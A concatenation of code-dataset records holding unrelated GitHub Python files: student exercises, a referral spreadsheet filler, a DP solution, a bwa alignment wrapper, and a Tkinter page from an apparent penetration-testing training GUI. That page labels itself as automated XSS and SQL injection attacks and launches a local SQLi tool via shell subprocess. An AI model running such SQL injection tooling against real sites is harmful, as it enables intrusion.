f'{birthDate} ({age})'\r\n\tif dictToFill['lineEdit_HomeReg'] != '':\r\n\t\tkey = 'reg'\r\n\telse:\r\n\t\tkey = 'main'\r\n\tadress = functions.combineAdress(dictToFill, key)\r\n\tpatientAdressCell.value = adress\r\n\ttelephone = functions.combineAllTelephone(dictToFill)\r\n\tpatientTelephoneCell.value = telephone\r\n\tfromDate = functions.editingDateTime(dictToFill['dateTimeEdit_MoveFromDateTime'])[0]\r\n\tinOurDepartmentFromCell.value = fromDate\r\n\r\n\ttoDate = functions.editingDateTime(dictToFill['dateEdit_MoveToDate'])[0]\r\n\tinOurDepartmentToCell.value = toDate\r\n\tdiagnosisCell.value = str(dictToFill['lineEdit_FinalDiagnosis'])\r\n\tFIOCell.value = createFIO (dictToFill)\r\n\tdateOfGivingCell.value = toDate\r\n\tdoctorCell.value = dictToFill['comboBox_CurrentDoctor']\r\n\r\n\r\n\r\n\r\n\tcaseNumber = str(dictToFill['lineEdit_HistoryNumber']).rjust(3,'0')\r\n\tfullLastName = str(dictToFill['lineEdit_PatientLastName'])[:1].upper() + str(dictToFill['lineEdit_PatientLastName'])[1:]\r\n\tshortFirstName = str(dictToFill['lineEdit_PatientFirstName'])[:1].upper()\r\n\tshortPatronymic = str(dictToFill['lineEdit_PatientPatronymic'])[:1].upper()\r\n\tnameToSave = f'Ref_{caseNumber}_{fullLastName}{shortFirstName}{shortPatronymic}'\r\n\t# print (nameToSave)\r\n\tyearOfHistory = str(dictToFill['lineEdit_YearOfHistory'])\r\n\tpath = f'documents/20{yearOfHistory}/referrals/'\r\n\ttry:\r\n\t\tos.makedirs(path)\r\n\texcept:\r\n\t\tpass\r\n\r\n\tloadWB.save(f'{path}{nameToSave}.xlsx')\r\n\tos.chdir(path)\r\n\tos.startfile(f'{nameToSave}.xlsx')\r\n\tos.chdir(mainPath)\r\n\r\n\t\r\n\r\ndef createFIO(dictToFill):\r\n\r\n\tfullLastName = dictToFill['lineEdit_PatientLastName']\r\n\tfullFirstName = dictToFill['lineEdit_PatientFirstName']\r\n\tfullPatronymic = dictToFill['lineEdit_PatientPatronymic']\r\n\tcorrectLastName = f'{fullLastName[:1].upper()}{fullLastName[1:]} '\r\n\tshortFirstName = fullFirstName[:1].upper()\r\n\tshortPatronymic = fullPatronymic[:1].upper()\r\n\r\n\tstring = f\"{correctLastName}{shortFirstName}.{shortPatronymic}.\"\r\n\t\t\r\n\treturn string\r\n\r\n\r\n\r\n\r\n\r\n# _cell.value = 1231255123\r\n\r\n","repo_name":"haplok/OIOPP","sub_path":"Referral.py","file_name":"Referral.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13054078492","text":"#Imports for Chapter 5\nimport math\nimport random\nimport My_Graphics\nimport turtle\n\ndef sales_tax(): #Exercise 2\n #sales tax accepts no arguments\n #it will calculate sales tax using other functions\n #it will output the total sale and will validate all inputs\n \n sale_amount = sales_tax_input()\n \n print(\"Your purchase price was: \\t $ \\t\", format(sale_amount, '9.2f'))\n \n state_tax = sales_tax_state(sale_amount) #Call sales tax state to get the state tax\n \n county_tax = sales_tax_county(sale_amount) #Call sales tax county to get the county tax\n \n print(\"Your state tax amount is: \\t $ \\t\", format(state_tax, '9.2f'))\n \n print(\"Your county tax amount is: \\t $ \\t\", format(county_tax, '9.2f'))\n \n total_tax, total_sale = sales_tax_totals(state_tax, county_tax, sale_amount) #sales tax totals to get the total tax amount and the total sale amount\n \n print(\"Your total tax is: \\t\\t $ \\t\", format(total_tax, '9.2f'))\n \n print(\"Your total sale is: \\t\\t $ \\t\", format(total_sale, '9.2f'))\n \ndef sales_tax_input(): #For Exercise 2\n #sales tax input accepts no arguments\n #this will prompt the user for the sale amount\n #this will also validate their answer\n \n LOOP = 0 #Accumulator\n \n sale_amount = int(input(\"Enter the sale amount: \")) #Input\n \n while LOOP == 0: #While loop for validation\n if sale_amount >= 0:\n LOOP = 1\n elif sale_amount < 0:\n LOOP = 0\n print(\"Please enter a valid sale amount\", end='')\n sale_amount = int(input(\": \"))\n \n return sale_amount #return their input\n\ndef sales_tax_state(sale_amount): #For Exercise 2\n #sales tax state accepts one argument\n #it will make a calculation and return the product\n \n state_tax = sale_amount * .05\n \n return state_tax\n\ndef sales_tax_county(sale_amount): #For Exercise 2\n #sales tax county accepts one argument\n #it will make a calculation and return the product\n \n county_tax = sale_amount * .025\n \n return county_tax\n\ndef sales_tax_totals(state_tax, county_tax, sale_amount): #For Exercise 2\n #sales tax totals accepts three arguments\n #it will calculate the total tax and the total sale\n \n total_tax = state_tax + county_tax\n \n total_sale = total_tax + sale_amount\n \n return total_tax, total_sale\n\n#=====================================================================================#\n\ndef calories(): #Exercise 6\n #calories accepts no arguments\n #it will calculate the amount of calories someone has taken in for a day\n #it will use a minimum of three functions and outputs the user's calorie intake\n \n carbs, fat = calories_grams() #Call calories grams to get information from the user\n \n print(\"Here is your calorie intake for the day.\")\n \n carbs_intake = carbs_for_the_day(carbs) #Prompt the user for the amount of carbs they consumed\n \n fat_intake = fat_for_the_day(fat) #Prompt the user for the amount of fats they consumed\n \n print(\"You consumed\", carbs_intake, \"calories worth of carbs today. Nice work...\")\n \n print(\"You consumed\", fat_intake, \"calories worth of fats today. Nice work...\")\n \ndef calories_grams(): #For Exercise 6\n #calories accepts no arguments\n #it will prompt the user for the amount of carbs and fat they've taken in for the day\n \n carbs = int(input(\"How many grams of carbs did you consume? \"))\n \n fat = int(input(\"How many grams of fat did you consume? \"))\n \n return carbs, fat\n\ndef carbs_for_the_day(carbs): #For Exercise 6\n #carbs for the day accepts one argument\n #it will calculate the amount of carbs the user has taken in for the day\n \n carbs_intake = carbs * 4\n \n return carbs_intake\n\ndef fat_for_the_day(fat): #For Exercise 6\n #fat for the day accepts one argument\n #it will calculate the amount of fat the user has taken in for the day\n \n fat_intake = fat * 9\n \n return fat_intake\n\n#=====================================================================================#\n\ndef stadium_seating(): #Exercise 7\n #stadium seating accepts no arguments\n #it will calculate the amount spent based on the tickets that were bought\n \n class_a = class_a_tickets() #Call class a tickets to get the total amount of class a seat tickets were bought\n \n class_b = class_b_tickets() #Call class b tickets to get the total amount of class b seat tickets were bought\n \n class_c = class_c_tickets() #Call class c tickets to get the total amount of class c seat tickets were bought\n \n print(\" \")\n \n tickets_income = total_income(class_a, class_b, class_c) #Call total_income to get the total cost for all the tickets combined\n \n print(\"The total income sales from tickets is: $\", format(tickets_income, ',.2f'), sep='')\n \ndef class_a_tickets(): #For Exercise 7\n #class a tickets accepts no arguments\n #it will prompt the user for the amount of class a tickets bought\n #it will also validate the users inputs\n \n LOOP = 0\n \n class_a = int(input(\"Enter the number of Class A tickets sold: \"))\n \n while LOOP == 0:\n if class_a >= 0:\n LOOP = 1\n elif class_a < 0:\n LOOP = 0\n class_a = int(input(\"Enter a valid number of Class A tickets sold: \"))\n \n return class_a\n\ndef class_b_tickets(): #For Exercise 7\n #class a tickets accepts no arguments\n #it will prompt the user for the amount of class b tickets bought\n #it will also validate the users inputs\n \n LOOP = 0\n \n class_b = int(input(\"Enter the number of Class B tickets sold: \"))\n \n while LOOP == 0:\n if class_b >= 0:\n LOOP = 1\n elif class_b < 0:\n LOOP = 0\n class_a = int(input(\"Enter a valid number of Class B tickets sold: \"))\n \n return class_b\n\ndef class_c_tickets(): #For Exercise 7\n #class a tickets accepts no arguments\n #it will crompt the user for the amount of class c tickets bought\n #it will also validate the users inputs\n \n LOOP = 0\n \n class_c = int(input(\"Enter the number of Class C tickets sold: \"))\n \n while LOOP == 0:\n if class_c >= 0:\n LOOP = 1\n elif class_a < 0:\n LOOP = 0\n class_c = int(input(\"Enter a valid number of Class C tickets sold: \"))\n \n return class_c\n\ndef total_income(class_a, class_b, class_c): #For Exercise 7\n #total income accepts 3 arguments\n #it will calculate the total income for selling all of the tickets\n \n #Find the total amount for each tickets\n class_a_total = class_a * 20\n \n class_b_total = class_b * 15\n \n class_c_total = class_c * 10\n \n #Find the total income\n total_income = class_a_total + class_b_total + class_c_total\n \n #Return the total income\n return total_income\n\n#====================================================================================#\n\ndef paint_estimator(): #Exercise 8\n #paint estimator accepts no arguments\n #it will determine the square feet of wall space t be painted and\n #the price f the paint per gallon\n #this will use a minimum of three functions\n \n total_square_feet, cost_of_gallons_of_paint = paint_estimator_input() #Call paint estimator to get the total square feet the cost of gallons of paint\n \n print(\" \")\n print(\"The cost breakdown to paint\", total_square_feet, \"square feet is:\")\n print(\"-------------------------------------------------------------------\")\n \n total_cost_of_paint, total_labor_cost = paint_estimator_total_costs(total_square_feet, cost_of_gallons_of_paint) #Call paint estimator total costs to get the total costs\n \n total_cost_of_job = paint_estimator_total_cost(total_cost_of_paint, total_labor_cost) #Call paint estimator total cost to get the final cost\n \n print(\"Total cost of paint: $\", format(total_cost_of_paint, '.2f'), sep='')\n \n print(\"Total labor cost: $\", format(total_labor_cost, '.2f'), sep='')\n \n print(\"Total cost of the job is: $\", format(total_cost_of_job, '.2f'), sep='')\n \n \ndef paint_estimator_input(): #For Exercise 8\n #paint estimator input accepts no arguments\n #it will prompt the user for the some information and return them\n #it will also validate their answers\n \n LOOP = 0 #Accumulator\n \n total_square_feet = int(input(\"Please enter the total square feet to be painted: \"))\n \n cost_of_gallons_of_paint = int(input(\"How much is each gallon of paint? \"))\n \n #Get input from the user\n while LOOP == 0:\n if total_square_feet >= 0 and cost_of_gallons_of_paint >= 0:\n LOOP = 1\n elif total_square_feet < 0 or cost_of_gallons_of_paint < 0:\n LOOP = 0\n print(\"ERROR\")\n total_square_feet = int(input(\"Please enter a valid total square feet to be painted: \"))\n cost_of_gallons_of_paint = int(input(\"Please enter a valid price for each gallon of paint: \"))\n \n #return the inputs\n return total_square_feet, cost_of_gallons_of_paint\n\ndef paint_estimator_total_costs(total_square_feet, cost_of_gallons_of_paint): #For Exercise 8\n #paint estimator total costs accepts two arguments\n #it will calculate the total costs for paint and labor\n \n #Find the total cost for paint\n gallons_of_paint = math.ceil(total_square_feet / 112)\n \n total_cost_of_paint = gallons_of_paint * cost_of_gallons_of_paint\n \n #Find the total cost for labor\n total_hours_of_work = gallons_of_paint * 8\n \n total_labor_cost = total_hours_of_work * 35\n \n return total_cost_of_paint, total_labor_cost\n \ndef paint_estimator_total_cost(total_cost_of_paint, total_labor_cost): #For Exercise 8\n #paint estimator total cost accepts two arguments\n #it will calculate the total cost for the job\n \n total_cost_of_job = total_cost_of_paint + total_labor_cost\n \n return total_cost_of_job\n \n#=========================================================================================#\n\ndef math_quiz(): #Exercise 11\n #math quiz accepts no arguments\n #this will createa a simple test for the user to solve.\n #once the user solves, correct or incorrect, the user will be asked if they want to continue.\n \n #Start the loop before everything to get different integers each time\n continue1 = 'y'\n while continue1 == 'y':\n \n num1, num2 = get_numbers() #Call for get_numbers and get the random integers\n \n answer = num1 + num2 #Find the sum of the two random integers\n \n #Text for the user before the loop and input from the user\n print(\"Solve:\")\n print(\" \")\n print(\"\\t\\t\", num1)\n print(\"+\\t\\t\", num2)\n print(\" \")\n user_answer = int(input(\"Answer: \"))\n #Check their answer\n if user_answer == answer:\n print(\"Correct!\")\n elif user_answer != answer:\n print(\"WRONG!! The answer is:\", answer)\n print(\" \")\n \n #Prompt the user to see if they want to continue\n continue1 = input(\"Do you want another problem? (y/n) \")\n \n \ndef get_numbers(): #For Exercise 11\n #get numbers accepts no arguments\n #it will generate two random integers from 1-200 and will return them to math_quiz\n \n num1 = random.randint(1, 200)\n \n num2 = random.randint(1, 200)\n \n return num1, num2\n\n#===============================================================================#\n\ndef time_loop(): #Exercise 13\n #time loop accepts no arguments\n #it loops 1-10, calls falling_distance passing time, 1-10 in seconds\n #due to there being no inputs from the user, there will be no validation\n \n #Constants\n gravity = 9.8\n \n #PRE text above the table\n print(\"Here is the distance an object will fall for 10 seconds\")\n print(\"----------------------------------------------------------\")\n \n #Start a for loop that will contain time in range\n for time in range(1, 10+1):\n distance = falling_distance(time) #Call for time\n \n print(time, \"sec \\t\\t\", format(distance, '.2f'), end='m') #print the distance for each second\n print(\" \")\n \ndef falling_distance(time): #For Exercise 13\n #falling distance accepts one argument\n #it will calculate the distance fallen\n \n #Constants\n g = 9.8\n t = time\n \n #Calculations\n acceleration = g * t**2\n distance = acceleration * .5\n \n #Return distance\n return distance\n\n#===============================================================================#\n\ndef game(): #Exercise 21\n #game accepts no arguments\n #it will allow the computer to play a game of rock, paper, scissors, lizard, spock with the user\n #it will output the winner each time\n \n #Begin a while loop to loop the game\n LOOP = 0\n \n while LOOP == 0:\n player_choice1 = player_choice() #Call for player choice to get the players choice\n \n print(\" \")\n print(\" \")\n \n comp_choice = computer_choice() #Call for computer choice to get the computers choice\n \n dominator = winner(player_choice1, comp_choice) #Call for winner to find out whether the computer won or the user won\n \n print(\" \")\n print(dominator)\n \n print(\" \")\n again = input(\"Play again? (y/n) \")\n \n if again == 'y':\n LOOP = 0\n elif again != 'y':\n LOOP = 1\n \ndef player_choice(): #For Exercise 21\n #player choice accepts no arguments\n #it prompts the user for their choice in the game and returns it to the main function\n #it will validate the users answser and will prompt the user again if their answer isn't valid\n \n LOOP = 0 #Accumulator\n \n while LOOP == 0: #Validate and recieve the user input\n pc = input(\"Type your weapon of choice (rock, paper, scissors, lizard, spock) \").lower()\n \n if pc == \"rock\" or pc == 'paper' or pc == 'scissors' or pc == 'lizard' or pc == 'spock':\n print(\" \")\n print(\"You chose.... \", pc, end='.')\n LOOP = 1\n else:\n print(\"Choose a proper choice.\")\n print(\" \")\n LOOP = 0\n \n return pc\n \ndef computer_choice(): #For Exercise 21\n #computer choice accepts no arugments\n #it will find out the computer's choice for the game\n #no validation is needed here\n \n cc = random.randint(1, 5)\n \n if cc == 1:\n cc = 'rock'\n elif cc == 2:\n cc = 'paper'\n elif cc == 3:\n cc = 'scissors'\n elif cc == 4:\n cc = 'lizard'\n elif cc == 5:\n cc = 'spock'\n \n return cc\n\ndef winner(player_choice1, comp_choice): #For Exercise 21\n #winner accepts two arguments\n #it will decide whether the computer or the user wins in the game\n #no validation is needed here\n \n #Changing the arguments\n pc = player_choice1\n cc = comp_choice\n \n print(\"The computer chose....\", cc, end='.')\n print(\" \")\n #Start checking the results\n if pc == 'rock' and cc == 'rock':\n champion = \"It's a tie!\"\n elif pc == 'rock' and cc == 'paper':\n champion = \"The computer wins! Paper covers rock.\"\n elif pc == 'rock' and cc == 'scissors':\n champion = \"You win! Rock crushes scissors.\"\n elif pc == 'rock' and cc == 'lizard':\n champion = \"You win! Rock crushes lizard.\"\n elif pc == 'rock' and cc == 'spock':\n champion = \"The computer wins! Spock vaporizes rock.\"\n elif pc == 'paper' and cc == 'rock':\n champion = \"You win! Paper covers rock.\"\n elif pc == 'paper' and cc == 'paper':\n champion = \"It's a tie!\"\n elif pc == 'paper' and cc == 'scissors':\n champion = \"The computer wins! Scissors cuts paper.\"\n elif pc == 'paper' and cc == 'lizard':\n champion = \"The computer wins! Lizard eats paper.\"\n elif pc == 'paper' and cc == 'spock':\n champion = \"You win! Paper disproves spock.\"\n elif pc == 'scissors' and cc == 'rock':\n champion = \"The computer wins! Rock crushes scissors.\"\n elif pc == 'scissors' and cc == 'paper':\n champion = \"You win! Scissors cuts paper.\"\n elif pc == 'scissors' and cc == 'scissors':\n champion = \"It's a tie!\"\n elif pc == 'scissors' and cc == 'lizard':\n champion = \"You win! Scissors decapitates lizard.\"\n elif pc == 'scissors' and cc == 'spock':\n champion = \"The computer wins! Spock smashes scissors.\"\n elif pc == 'lizard' and cc == 'rock':\n champion = \"The computer wins! Rock crushes lizard.\"\n elif pc == 'lizard' and cc == 'paper':\n champion = \"You win! Lizard eats paper.\"\n elif pc == 'lizard' and cc == 'scissors':\n champion = \"The computer wins! Scissors decapitates lizard.\"\n elif pc == 'lizard' and cc == 'lizard':\n champion = \"It's a tie!\"\n elif pc == 'lizard' and cc == 'spock':\n champion = \"You win! Lizard poisons spock.\"\n elif pc == 'spock' and cc == 'rock':\n champion = \"You win! Spock vaporizes rock.\"\n elif pc == 'spock' and cc == 'paper':\n champion = \"You win! Spock eats paper.\"\n elif pc == 'spock' and cc == 'scissors':\n champion = \"You win! Spock smashes scissors.\"\n elif pc == 'spock' and cc == 'lizard':\n champion = \"The computer wins! Lizard poisons spock.\"\n elif pc == 'spock' and cc == 'spock':\n champion = \"It's a tie!\"\n \n return champion\n\n#=====================================================================#\n\ndef draw_snowman(): #Exercise 23\n #draw snowman accepts no arguments\n #draw snowman will use a variety of functions... to draw a snowman\n #the output will be a snowman\n \n turtle.hideturtle() #This is to hide turtle\n \n draw_base() #Calls for draw base to create the largest snowball for the snowman\n \n draw_mid_section() #Calls for draw mid section to create the second largest snowball for the snowman\n \n draw_head() #Calls for draw head to create the third largest snowball for the snowman\n \n draw_face() #Calls for draw face to create the face for the snowman and the pipe for the snowman\n \n draw_hat() #Calls for draw hat to create the hat that will go on top of the snowman\n \n draw_arms() #Calls for draw arms to create the sticks that will act as the snowman's arms\n \n turtle.hideturtle() #Hides turtle again\n \n turtle.done() #Turtle is done when turtle is done\n \ndef draw_base(): #For Exercise 23\n #draw base accpets no arguments\n #this is for the base of the snowman\n #this will return the turtle commands to the main function\n \n My_Graphics.circle(0, -170, 140, 'blue')\n \ndef draw_mid_section(): #For Exercise 23\n #draw mid section accepts no arguments\n #this snowman will create the middle section of the snowman\n #it will return the turtle comands to the main function\n \n My_Graphics.circle(0, 70, 100, 'blue')\n \ndef draw_head(): #You get the idea by now\n #draw head accepts no arguments\n #it will draw the head of the snowman and send it back to the main function\n \n My_Graphics.circle(0, 237, 67, 'blue')\n \ndef draw_face(): #I don't have to explain what exercise this function is for\n #draw face accepts no arguments\n #it will draw the face of the snowman (with a pipe) and sent it back to the main function\n \n My_Graphics.circle(-25, 250, 15, 'black')\n \n My_Graphics.circle(25, 250, 15, 'black')\n \n My_Graphics.line(-25, 215, 25, 215, 'black')\n \n My_Graphics.line(15, 215, 85, 185, 'brown')\n \n My_Graphics.square(85, 185, 10, 'brown')\n \n My_Graphics.line(85, 185, 115, 215, 'gray')\n \n My_Graphics.circle(115, 215, 3, 'white')\n \n My_Graphics.line(115, 215, 145, 225, 'gray')\n \n My_Graphics.circle(145, 225, 3, 'white')\n \n My_Graphics.line(145, 225, 165, 230, 'gray')\n \n My_Graphics.circle(165, 230, 3, 'white')\n \n My_Graphics.line(165, 230, 185, 233, 'gray')\n \ndef draw_hat(): #You know where this is contributing to\n #draw hat accepts no arguments\n #it creates the hat for the snowman and returns it to the main function\n \n My_Graphics.square(-55, 300, 35, 'red')\n \n My_Graphics.square(25, 300, 35, 'red')\n \n My_Graphics.square(-20, 302, 50, 'red')\n \ndef draw_arms(): #Last one...\n #draw darms accepts no arguments\n #it creates arms for the snowman and returns it to the main function\n \n #Snowman's left arm\n My_Graphics.line(90, 50, 130, 160, 'black')\n \n My_Graphics.line(130, 160, 130, 200, 'black')\n \n My_Graphics.line(130, 160, 150, 130, 'black')\n \n #Snowman's right arm\n My_Graphics.line(-90, 50, -150, 110, 'black')\n \n My_Graphics.line(-150, 110, -165, 160, 'black')\n \n My_Graphics.line(-165, 160, -185, 140, 'black')\n \n My_Graphics.line(-165, 160, -170, 180, 'black')\n \n#==============================================================================#\n \ndef checkerboard(): #Exercise 25\n #checkerboard accepts no arguments\n #it creates a checkerboard using loops\n #Nothing was mentioned about calling another function besides the module My_Graphics\n \n color = 1 #1 = black. 2 = white\n \n for RANDOM_VARIABLE in range(-120, 180, 60): #This is for the rows\n for ANOTHER_VARIABLE in range(-120, 180, 60): #This is for the columns\n if color == 1:\n My_Graphics.square(RANDOM_VARIABLE, ANOTHER_VARIABLE, 60, 'black') #Calls for My_Graphics.square when the previous color was white or when this is the first box\n color = 2\n elif color == 2:\n My_Graphics.square(RANDOM_VARIABLE, ANOTHER_VARIABLE, 60, 'white') #Calls for My_Grpahics.sqare when the previous color was black\n color = 1\n \n turtle.hideturtle() #Hards turtle in the end\n turtle.done() #Turtle is done when turtle is done.","repo_name":"TrickySnoah/School_Python_2022-2023","sub_path":"Chapter 5/Chapter 5 Exercises 2022.py","file_name":"Chapter 5 Exercises 2022.py","file_ext":"py","file_size_in_byte":22047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26258610605","text":"import sys\n\nsys.setrecursionlimit(10 ** 8)\n\nM, N = map(int, sys.stdin.readline().split())\nroad = []\nfor i in range(M):\n road.append(list(map(int, sys.stdin.readline().split())))\n\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\ndp = [[-1 for _ in range(N)] for __ in range(M)]\n# dp[i][j]는 그 위치에서 도착점까지 갈 수 있는 경우의 수 / -1은 아직 사용하지 않았음을 의미\n\n\ndef solve_dfs(x, y):\n if x == M - 1 and y == N - 1: # 도착점에 도착했으면 방법 하나를 찾은 것이므로 1을 더해준다.\n return 1\n if dp[x][y] != -1: # dp의 값이 -1이 아니라면 이 길을 이미 사용한 것이므로 그 값을 반환한다.\n return dp[x][y]\n dp[x][y] = 0 # 아직 사용하지 않은 길이고(== -1)반환하기 전에 더해줄 것이기 때문에 값을 일단 0으로 해준다\n for i in range(4):\n cx = x + dx[i]\n cy = y + dy[i]\n if 0 <= cx < M and 0 <= cy < N:\n if road[cx][cy] < road[x][y]:\n dp[x][y] += solve_dfs(cx, cy) # 아직 사용하지 않은 길에 도착점까지 가는 방법이 몇개인지 더하기\n\n return dp[x][y]\n\n\nprint(solve_dfs(0, 0))\n# 어떻게 해야하는지 감이 안와서 알고리즘 열어봤더니 dfs\n# recursionerror 걸려서 재귀 제한 올려줌","repo_name":"tkdwns414/Training_Python","sub_path":"BOJ/단계별/23. 동적 계획법 2단계/1520.py","file_name":"1520.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34558796429","text":"import subprocess\nfrom pathlib import Path\n\nimport pandas as pd\nfrom q2_nasp2_types.alignment import SAMFileDirFmt\nfrom q2_nasp2_types.index import BWAIndex\nfrom q2_types.per_sample_sequences import SingleLanePerSamplePairedEndFastqDirFmt, \\\n SingleLanePerSampleSingleEndFastqDirFmt\n\n\ndef mem_single(sequences: SingleLanePerSampleSingleEndFastqDirFmt, ref_genome: BWAIndex) -> SAMFileDirFmt:\n output_sams = SAMFileDirFmt()\n seq_path = Path(str(sequences))\n output_sams_path = Path(output_sams.path).joinpath(\"test.sam\")\n\n with open(output_sams_path, 'w') as ff:\n ff.write(\"test1\")\n return output_sams\n\n\ndef mem_paired(sequences: SingleLanePerSamplePairedEndFastqDirFmt) -> SAMFileDirFmt:\n # ref = str(ref_genome.view(BWAIndexDirFmt).path.joinpath(\"dna-sequences.fasta\"))\n ref = \"/home/cridenour/tmp/test_data/reference/f6779c89-cba0-462e-86ff-46185bcd006f/data/dna-sequences.fasta\"\n output_sams = SAMFileDirFmt()\n seq_df = sequences.manifest.view(pd.DataFrame)\n paired_reads = [i for i in seq_df.itertuples()]\n for sample_name, f, r in paired_reads:\n output_sams_path = Path(output_sams.path).joinpath(f\"{sample_name}.sam\")\n build_cmd = ['bwa', 'mem', ref, f, r]\n\n with open(output_sams_path, 'w') as s_file:\n process = subprocess.run(build_cmd, check=True, stdout=subprocess.PIPE, universal_newlines=True, stdin=None,\n cwd=None)\n output = process.stdout\n s_file.write(output)\n\n # bwa_mem_align_paired(f, r, ref, output_sams_path)\n\n return output_sams\n","repo_name":"CRideTGen/q2-aligners","sub_path":"q2_aligners/actions/bwa/bwa_mem.py","file_name":"bwa_mem.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18077782527","text":"## ATTACK VECTOR 4 PAGE ##\n\nimport tkinter as tk # python 3\nfrom tkinter import font as tkfont # python 3\n# import Tkinter as tk # python 2\n# import tkFont as tkfont # python 2\n\nfrom tkinter import font as tkfont\nfrom tkinter import *\nfrom tkinter import font, messagebox\nimport random, requests, os, sys\nimport PySimpleGUI as sg\nfrom nav_bar import *\nfrom subprocess import call, Popen, PIPE\nimport os\n\n\nclass AttackVectorFour(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n framefont = tkfont.Font(family='Calibri', size=33, weight=\"bold\")\n\n main_frame = tk.Frame(self)\n\n highlightFont = font.Font(family='Calibri', name='appHighlightFont4', size=18)\n\n global unpatchedvul\n unpatchedvul = tk.PhotoImage(file='resources/unpatched.png')\n\n def load_sqli():\n os.chdir(\"./Tools\")\n cmd = \"python3 SQLi_tool.py\"\n p1 = Popen(cmd, stdout=PIPE, universal_newlines=True, shell=True)\n os.chdir(\"../../\")\n\n # def load_vulnexploit_tool():\n # os.chdir(\"./Tools\")\n # cmd = 'exo-open --launch TerminalEmulator'\n # p1 = Popen([cmd + ' python3 VulnExploit.py'], stdout=PIPE, shell = True)\n # os.chdir(\"../../\")\n\n def load_terminal():\n p1 = Popen(\"exo-open --launch TerminalEmulator\", stdout=PIPE, universal_newlines=True, shell=True).stdout\n\n def change_to_Step1():\n text = (\n \"\\n\\nStep 1: \\n\\n\"\n \"Attack Vector 4 being maintaining\"\n )\n step1frame = tk.Message(main_frame, text=text, font=('OpenSans', 14), anchor='nw',\n aspect=350)\n step1frame.place(rely=0.2, relx=0.2, relheight=1, relwidth=1)\n XSSButton = tk.Button(step1frame, text=\"SQL injection Tool\", style='Accent.TButton',\n command=load_sqli, relief='flat').place(rely=0.5, relx=0.02, relheight=0.05,\n relwidth=0.1)\n terminalButton = ttk.Button(step1frame, text=\"Terminal\", style='Accent.TButton', command=load_terminal,\n relief='flat').place(rely=0.5, relx=0.14,\n relheight=0.05, relwidth=0.1)\n\n # def change_to_Step2():\n # text = (\n # \"\\n\\nStep 2: \\n\\n\"\n # \"Attack Vector 4 being maintaining\"\n # )\n # step1frame = tk.Message(main_frame, text=text, fg='black', bg='white', font=('Calibri', 20), anchor= 'nw', aspect=300)\n # step1frame.place(rely=0.2, relx=0.2, relheight=1, relwidth=1)\n # SQLiButton = tk.Button(step1frame, text=\"SQL Injection\", bg=\"#E7E7E7\", fg=\"black\", \n # font=highlightFont, command=load_sqli, \n # relief='flat').place(rely=0.6, relx=0.02, relheight=0.05, relwidth=0.1)\n # terminalButton = tk.Button(step1frame, text=\"Terminal\", bg=\"#E7E7E7\", fg=\"black\", font=highlightFont,\n # command=load_terminal, relief='flat').place(rely=0.6, relx=0.14, relheight=0.05, relwidth=0.1)\n #\n \n tkfont.Font(family='OpenSans', size=13)\n framefont = tkfont.Font(family='Arial Rounded MT Bold', size=28, weight='bold')\n\n title_label = tk.Label(self, text=\"Web Application Attacks: Automated XSS and SQLiInjection attack\", bg='white', fg='#92CEFF', anchor=\"c\", font=framefont)\n title_label.place(rely=0.06, relheight=0.12, relwidth=1)\n \n # creates blue bar as canvas below nav bar\n title_canvas = tk.Canvas(self, bg='#c8e6ff', highlightthickness=0)\n title_canvas.place(rely=0.08, relheight=0.004, relwidth=1)\n\n # creates blue bar as canvas below title\n title_canvas = tk.Canvas(self, bg='#c8e6ff', highlightthickness=0)\n title_canvas.place(rely=0.155, relheight=0.004, relwidth=1)\n\n allscreenframe = tk.Label(main_frame, bg='white')\n allscreenframe.place(rely=0.2, relheight=1, relwidth=1)\n\n sidescreenframe = tk.Label(main_frame, text=\"\\n Steps\", bg='#E7E7E7',\n font=('Calibri', 20), anchor='nw')\n sidescreenframe.place(rely=0.2, relheight=1, relwidth=0.2)\n # delete it when you done the content.\n maintainnotice = tk.Label(self, text=\"ATTACK VECTOR 4 being maintaining\", bg='#6f8396', fg='white',\n borderwidth=8, relief=RAISED,\n font=(\"Calibri\", 30)).pack(side=LEFT, fill=BOTH, expand=True)\n\n # step1btn = tk.Button(main_frame, text=\"Step 1\",\n # bg=\"#E7E7E7\", fg=\"black\",\n # font=highlightFont,\n # command=change_to_Step1,\n # relief='flat').place(rely=0.3, relx=0.02,\n # relheight=0.05, relwidth=0.1)\n # step2btn = tk.Button(main_frame, text=\"Step 2\",\n # bg=\"#E7E7E7\", fg=\"black\",\n # font=highlightFont, command=change_to_Step2,\n # relief='flat').place(rely=0.4, relx=0.02, relheight=0.05, relwidth=0.1)\n # step3btn = tk.Button(main_frame, text=\"Step 3\", bg=\"#E7E7E7\", fg=\"black\", font=highlightFont, command=change_to_Step3, relief='flat').place(rely=0.5, relx=0.02, relheight=0.05, relwidth=0.1)\n # step4btn = tk.Button(main_frame, text=\"Step 4\", bg=\"#E7E7E7\", fg=\"black\", font=highlightFont, command=change_to_Step4, relief='flat').place(rely=0.6, relx=0.02, relheight=0.05, relwidth=0.1)\n #\n display_nav_bar(self, controller)\n main_frame.pack(fill='both', expand=1)\n","repo_name":"Hardhat-Enterprises/PT-GUI","sub_path":"ATTACKVECTOR/attackvector4.py","file_name":"attackvector4.py","file_ext":"py","file_size_in_byte":5920,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"25406345978","text":"from ufwi_log.client.qt.fetchers.base import BaseFetcher\n\nclass NuAuthFetcher(BaseFetcher):\n\n fields = ('kill', 'username', 'ip_saddr_str', 'os_sysname', 'start_time', 'expire', 'groups', 'client_version')\n nuauth_fields = ('sock', 'name', 'addr', 'sysname', 'connect_timestamp', 'expire', 'groups', 'client_version')\n can_kill = None\n\n def __init__(self, fragment, args, client):\n BaseFetcher.__init__(self, fragment, args, client)\n self.type = 'real-time'\n\n def getArgs(self):\n # The first column is 'kill' which is an action and not a\n # filter. So we remove it from the returned filters list.\n return self.fields[1:]\n\n def getTime(self, callback):\n 